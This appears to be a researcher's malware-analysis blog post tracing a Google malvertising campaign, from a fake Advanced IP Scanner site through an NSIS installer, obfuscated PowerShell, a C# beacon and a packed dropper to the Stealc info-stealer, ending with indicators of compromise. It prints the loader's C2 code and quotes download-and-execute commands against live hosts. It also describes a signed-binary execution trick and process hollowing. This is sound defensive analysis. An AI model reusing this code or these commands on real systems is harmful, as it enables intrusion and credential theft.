As has been widely reported in the cybersecurity industry, Google searches resulting in malicious advertisements were incredibly prolific during late 2022 and early 2023. This activity has reduced significantly in recent months, but it isn’t quite dead yet.

On April 19th, a search for “IP Scanner” resulted in a suspicious advertisement listed above the legitimate Advanced IP Scanner site.

screenshot_google_search
When the advertisment is clicked, the victim’s IP address and device type are checked. If they meet the threat actor’s specifications, a fake Advanced IP Scanner website is shown, otherwise, a dummy news outlet website is displayed.

This is common practice, and helps the threat actors hide their malicious activity from automated scans, takedowns, and security researchers.

fake_ipscanner_site
On clicking the download button, a file called “Advanced_IP_Scanner_2.5.4594.1.exe” is downloaded from Dropbox.

Initial Download: Analysis

Opening the downloaded file in DetectItEasy, it is categorized as a Nullsoft Scriptable Install System (NSIS) package. This is good news, it means I can use 7zip to dump the contents of the installer and perform a closer inspection.

unzipping

Several files are extracted, including the NSIS installation script (.nsi). Let’s start there.

[NSIS].nsi

For those who have not dug into NSIS scripts, here is a handy syntax guide.

One of the first things I noticed were some typos in the name field - not necessarily important, but certainly indicates this is not a legitimate installer.

typos

Scrolling down, I can see the installation directory is set to “C:\ProgramData\Microsoft\NodejsToolsVsix”.

installdir

The file “Advanced_IP_Scanner_2.5.4594.1.exe” is written to the installation directory and executed. This file was contained within the original NSIS package and is the legitimate Advanced IP Scanner installation tool.

Now, things start to get more interesting. The script then checks whether a file named Cert.txt exists in the installation directory, and if so, it jumps to the end of the section, skipping the rest of the script.

If file did not previously exist, it is now created. This will stop the script from running multiple times.

section
Next, the script checks the registry to determine two things - if the device is part of a domain, and whether it is running Windows 10 or above. If either of these are false, the script will terminate.

Once the checks are complete, the script copies a 7z archive and a legitimate copy of the 7z tool to the installation directory.

The next command is executed via the built-in nsExec plugin, a DLL whose function is to execute “command-line based programs and capture the output without opening a dos box.”

Using 7zip via the plugin, the script provides a hardcoded password to extract the contents of the archive and stores the output in the installation directory.

outputdir

After the archive is extracted, a new directory is created, and several files are copied from the installation directory to the new directory.

section2

The script then creates two registry entries. The first is a Run key, which will cause the target .lnk file to execute whenever a user logs into to the device.

section3
Checking the properties of the lnk file, it contains the following:

C:\ProgramData\Microsoft\LogConverter\Microsoft.NodejsTools.PressAnyKey.exe abnormal c:\programdata\%username%0 cmd /c C:\ProgramData\Microsoft\LogConverter\LogConverter.bat

The PressAnyKey.exe file, which was previously extracted from the 7z archive, is a LOLBin first published on Twitter by mrd0x. It is a Microsoft signed binary which allows for the execution of other binaries, in this case, cmd.exe.

There are a few required parameters for the LOLBin to execute properly. The abnormal flag will cause the PressAnyKey process to exit once it creates the new cmd.exe process, and the programdata path is where the ProcessID will be written. I’ll dig into the batch script passed to cmd.exe in the next section.

Back to the NSIS script, the second registry value created replaces the value in HKLM\SOFTWARE\Microsoft\MSDTC\MTxOCI --> OracleOciLibPath with C:\ProgramData\SysIco. At this point, I am not sure what purpose this serves, but maybe I’ll uncover it as I progress.

After the registry values are written, the previously copied files are deleted from the installation directory, and the script sleeps.

section4

Finally, the script will use the PressAnyKey LOLBin to execute another batch script, and then exit.

Batch Scripts

Following execution sequentially, I’ve have now progressed to the first batch script. The content of the two .bat scripts are very similar, so I will only walk through one of them.

batch_script
The script will create a PowerShell process and create two variables.

Line 9 is intentionally confusing, so let’s break it down.

SI Variable:DK (.$ExecutionContext.(($ExecutionContext|GM)[6].Name).GetCommand($ExecutionContext.(($ExecutionContext|GM)[6].Name).(($ExecutionContext.(($ExecutionContext|GM)[6].Name)|GM|Where{(GV _ -ValueO).Name-clike'*Com*e'}).Name).Invoke('*w-*ct',1,1),[Management.Automation.CommandTypes]::Cmdlet)(LS Variable:P).Value);

Taking each part piece by piece starting with ($ExecutionContext|GM)[6].Name, I drop this into a new PowerShell session and see it is equivalent to InvokeCommand. Performing this translation and substitution throughout, the script can be simplified.

batch_cleaned
Line 11 uses method overloading to perform Invoke-Expression while trying to avoid any strings that may flag AMSI or AV.

Really, the script could be boiled down to just:

Invoke-Expression(New-Object Net.WebClient).DownloadString.Invoke(C:\ProgramData\Microsoft\LogConverter\CG6oDkyFHl3R.t)

Note: Apparently if using this overload technique, PowerShell will attempt to execute whatever file is passed to Invoke() as if it were PowerShell, no matter the file extension. I am not a PS expert, so not sure why that is.

Execution now passes on the to the .t file, which contains more PowerShell.

.T File

As with the previous batch scripts, the two .t files from this sample are very similar to each other, with a few differences I’ll discuss momentarily.

It starts out by defining a byte key and a very long encrypted standard string.

t_file
In line 4, the encrypted string is converted to a secure string using the key variable. The secure string is then copied to an unmanaged binary string, which is then copied to a managed string.

Once the string is copied into managed memory, it can be echoed out to view the contents - looking at lines 8 and 9, I know it will be C# source code.

Line 8 defines a .NET class in the PowerShell session using the contents of the $managed_str, while line 9 calls a specific method from the class, passing in some arguments.

I previously mentioned some differences between the two .t files - the encrypted standard string, the key, and the arguments are the only variations, the rest of the functionality is the same.

Now execution moves to stage two, and since I’ve got the C# source code, I can load it into Visual Studio and analyze it further.

.NET Loader / Beacon

The source code originally had all the class, method, and variable names set to random strings, so I first went through each method and renamed everything appropriately.

I also made some small changes so I could compile the code and create a binary which I could step through in a debugger. You can view my cleaned version of the source code here.

Since the source code is de-obfuscated and simple, I’ll just do a brief analysis of it.

Loader Functionality

As noted earlier, the method called by the .t file is:
rYqzrd("https://snow.cdn-b1d8e9.workers.dev", "OYEXidNnoFTXfoKbDqoEaOuj", "75000")

A custom string generator method is used, which creates a random 16 character alphanumeric string. This will be used as a “registration id” for the C2 server.

The second argument is converted to a byte array – spoiler alert, this is an RC4 key which will be used to encrypt/decrypt the communications with the C2.

Argument three is used to pass to the Sleep method, controlling the rate of the C2 beacon.

To “register” the victim device, the script creates a formatted string using the registration id and the result of another custom method, which returns the ComputerName, UserDomain, and UserName environment variable values.

The registration string is then sent to the C2 server using a method I’ve renamed to “c2_comms”.

Once the victim has been registered, the script enters a loop. In each iteration, it will sleep for 75 seconds before contacting the C2 again.
If the C2 does not respond, the loop continues without taking any action.

If the C2 answers, the response will be decrypted using the hardcoded RC4 key, and depending on the content of the response one of four actions will be taken.

  • Alter the beacon time
  • Take a screenshot and send it to the C2
  • Exit the loop
  • Execute the command from the C2 and send back the response

Let’s take a look at how the script communicates with the C2 server.

Loader C2 Communication

If a string is passed in as the first argument to the c2_comms method, it will first be encrypted using RC4. The key, as mentioned earlier, is OYEXidNnoFTXfoKbDqoEaOuj.

A URI is then generated with a random string as the path, and used to create a web request. The OS version is set as the UserAgent, and a hardcoded host string is used as the host field.

Note: I believe this means the domain argument originally passed into the loader is irrelevant; since the host parameter is hardcoded, it will always override the argument string. In fact, the arguments used in the other .t file are: ("https://mscrl.microsoft.com", "fLYQnVRnUoiGOuJdSXkNkDfC", "20000"). The use of the benign Microsoft domain indicates an attempt to disguise the real destination.

It is possible the threat actor meant to use a benign URL in both arguments, but forgot to replace one of them.

public static string c2_comms(string arg1, string arg2)
{
	byte[] rc4_encrypted_string;
	if (arg1 != null)
	{
		rc4_encrypted_string = rc4_class.call_rc4_encrypt(byte_array, Encoding.ASCII.GetBytes(arg1));
	}
	else
	{
		rc4_encrypted_string = new byte[0];
	}
	//will generate a url string with a random string as the path
	string url_string = String.Format("{0}/{1}/", snow_cdn_url, rand_str_generator(0));
	HttpWebRequest http_request = (HttpWebRequest)WebRequest.Create(url_string);
	http_request.Method = "POST";
	http_request.UserAgent = os_version_str;
	http_request.Timeout = 10000;
	http_request.Host = "snow.cdn-b1d8e9.workers.dev";
	http_request.Proxy.Credentials = CredentialCache.DefaultNetworkCredentials;
	Stream stream = null;
	StreamReader streamreader = null;
	string streamreader_content;
	string data_str = "";
	if (rc4_encrypted_string.Length > 0)
	{
		data_str = Convert.ToBase64String(rc4_encrypted_string);
	}
	HnvKzYXNyYAYLD data_to_send = new HnvKzYXNyYAYLD
	{
		UUID = arg2,
		ID = rand_str,
		Data = data_str
	};
	var js_serializer = new JavaScriptSerializer();
	var serialized_data = js_serializer.Serialize(data_to_send).ToString();
	http_request.ContentType = "application/json";
	try
	{
		stream = http_request.GetRequestStream();
		stream.Write(Encoding.ASCII.GetBytes(serialized_data), 0, serialized_data.Length);
	}
	finally
	{
		if (stream != null)
		{
			stream.Dispose();
		}
	}
	try
	{
		stream = http_request.GetResponse().GetResponseStream();
		streamreader = new StreamReader(stream);
		streamreader_content = streamreader.ReadToEnd();
	}
	catch
	{
		streamreader_content = "";
	}
	return streamreader_content.ToString();
}

The encrypted string is then base64 encoded, added as an element to a structure, serialized, and sent to the C2 server. If there is a response, it is returned from the method.

There are a few more methods contained within this loader, but out of scope of the write up. I’ll now move on to emulating the communications between a victim and the C2.

Communication Emulation

My next goal is to use the loader to communicate with the C2 server while logging all requests and responses. Since I have the source code, I’ve got a few options to chose from.

I could add some C# code to log the plaintext requests and responses as the loader runs. However, I want to showcase a cool feature I learned recently in dnSpy, so I chose to simply add a main method and compile the binary as is.

dnSpy Tracepoints

Once the binary was loaded into dnSpy, I set breakpoints right before data was sent to the C2 and right after the response was decoded.

As I learned in a great video from DuMp-GuY TrIcKsTeR, breakpoints can be converted into “tracepoints”, which can evaluate conditional expressions, perform filtering, and log messages either to the console or to the file system.

Here is an example of the formatting of a tracepoint log message:

$FUNCTION Response_String: {response_struct.Data} {System.IO.File.AppendAllText("C:\\Users\\<user>\\log.txt","ResponseID\n"+response_struct.ID + "\nResp_UUID\n"+response_struct.UUID+"\nresp_data\n"+response_struct.Data+"\n")}

With the tracepoints in place, I can now execute the loader, sit back, and hope the server is still live.

Server Response

The first call to the C2 contained the following content:

ID --> uVX1bTFdMmzgD2nW
UUID --> NULL
data --> <b64_rc4enc_string> --> (decoded & decrypted: "register uVX1bTFdMmzgD2nW DESKTOP-JRFM9FE DESKTOP-JRFM9FE\<user>")

The server responded immediately with:

Response_ID --> uVX1bTFdMmzgD2nW
Response_UUID --> 25caaa27-f98f-41a8-b3e2-e3b86f2e45ba
Response_Data(decrypted) --> whoami

My victim machine executed the whoami command, encrypted the response, and sent it back to the C2.

After this, the c2_comms method executed once every 75 seconds, but the C2 did not respond again for several hours.

Roughly eight hours later, this series of commands was issued from the remote server:

ls c:\
$clients1 = new-object System.Net.WebClient;$clients1.DownLoadFile('http://ec2-18-191-188-207.us-east-2.compute.amazonaws.com/T7YHUE/123',"c:\programdata\123.exe");
c:\programdata\123.exe
systeminfo
rm -r c:\programdata\123.exe

My victim machine is a VM and I didn’t make any attempts to alter the responses to the commands, so the result of systeminfo will have alerted the TA that the victim is likely a sandbox or a researcher. I let the beacon run for a few more hours, but the server never responded again.

No matter, I still have the URI for the next stage. I can download the 123.exe file and continue analysis in the next section.

Dropper: 123.exe

DetectItEasy noted high entropy (7.25), and indicated the binary was packed.

Just to get a feel for what I was dealing with, I started with some dynamic analysis.

Dynamic Analysis

With ProcessMonitor running, I executed the 123.exe binary and observed it spawning the C:\Windows\Microsoft.NET\Framework\v4.0.30319\AppLaunch.exe process.

Interesting - I wonder if some sort of injection is taking place.

I utilized ProcessHacker to investigate this theory; I opened the memory tab of the AppLaunch.exe process and took a look at the strings.

dynamic_analysis
The memory tab shows an IP address as well as some other unusual strings, looks like the theory of process injection was correct, or at least on the right track.

The URI likely used to download sqlite3.dll hints this may be an info-stealer. The legitimate DLL is often used by malware to extract data like credit card info and passwords from victim machines.

A few more strings from the process memory solidify that theory:

stealer_string1
stealer_string2
Looking further at the memory strings, I can guess that the injected process gathers information about the device and sends it back to the C2:
device_info
After doing some basic dynamic analysis, I can safely assume the 123.exe binary is a dropper for an info-stealer.

Let’s move to x32dbg and see if I can learn more about the dropper and its payload.

x32dbg Unpacking

It took me a few tries to get the APIs correctly identified; I knew unpacking and injection was taking place, so I started out by placing breakpoints on:

VirtualProtect
VirtualAlloc

Note: I ran into some anti-analysis mechanisms, but I was able to easily bypass them by using the Debug --> Advanced Features --> Hide debugger (PEB) feature in x32dbg.

After a few runs, I was able to see a PE file was written to the memory allocated by VirtualAlloc - this is likely the unpacked payload.

However, I wanted to understand what type of injection was occurring, so I added a few more breakpoints.

First, the dropper uses CreateProcessW to create AppLaunch.exe in a suspended state, as indicated by the dwCreationFlags set to “4”. Upon creation, ZwUnmapViewOfSection is used to unmap memory in the newly created process.

createprocessw
Then, VirtualAlloc and ntdll.memcpy are invoked to write the unpacked payload into a region of memory, which is then written to the memory of the AppLaunch.exe process using WriteProcessMemory.

Finally, I hit a breakpoint on NtResumeThread which will take the AppLaunch.exe process out of the suspended state, and in doing so, execute the unpacked PE.

Note: Technically speaking, what has occurred is categorized as process hollowing, rather than injection, so my guess was close, but not quite accurate.

Now that I have reached the end of the unpacking stage, I can dump the unpacked payload from the memory of the hollowed process.

end_of_hollowing
Since the payload was mapped into memory, before I can analyze it I had to use PEBear to adjust the section table.
With this done, I can move on to the next stage!

Final Payload: Stealc

While performing initial observations in DetectItEasy, I noticed a large number of what looked like base64 encoded strings inside the payload. When decoded, they contained unintelligible data - likely encrypted somehow.

String Decryption

After running the binary in x32dbg, I observed the first function looked like it was performing string decryption.

string_decryption
On a guess, I tried using Cyberchef with one of the base64 encoded strings and the above highlighted 20 digit string as an RC4 key. It decrypted an intelligible string! Now I know the binary uses a combination of base64 and RC4 to hide the contents of the strings.
rdata
For fun, I decided to make a Python string decryption script to parse any encrypted strings from the PE. Since the RC4 key and the base64 string are in plaintext in the .rdata section, this was not too difficult. The script can be found here, on my Github.

With the script working, I used it to extract all the decrypted strings and added them to Pastebin.

Identification

Now it’s time to try and identify the sample. Googling one of the strings ("Country: ISO?") found in the AppLaunch.exe's memory, I came across a fantastic blog post from Sekoia.io, describing a newly observed info-stealer called “Stealc”.

The technical analysis portion of the blog lines up exactly with the activity I have seen in this sample, so I can safely conclude the malware is in fact, the “Stealc” information stealer.

Since the blog goes into such great detail, I’ll stop my analysis here, but would recommending giving both Part 1 and Part 2 of the Sekoia blog a read.

Final Words

Google malvertising seems to have made a brief resurgence, but in the time it took me to complete this writeup, the levels I have been able to detect have decreased to almost nothing. Hopefully this indicates Google is cracking down on bad actors abusing the system.

As always, please feel free to send me feedback regarding anything in this writeup - I’m always looking to improve and learn more. My contact details can be found on the home page.

IOCs

Initial Stage
  • givingspirit[.]us
  • advanced-ip-scanner[.]net
  • cdn-c08e638.azureedge[.]net/download.html?q=ipscanner
  • www.dropbox[.]com/s/8b79t04dohaf82t/Advanced_IP_Scanner_2.5.4594.1.exe?dl=1
  • Malshare Link
Dropper
  • snow.cdn-b1d8e9.workers[.]dev
  • api-cdn12.azureedge[.]net
Stealer
RC4 Key
  • 83592471861675582409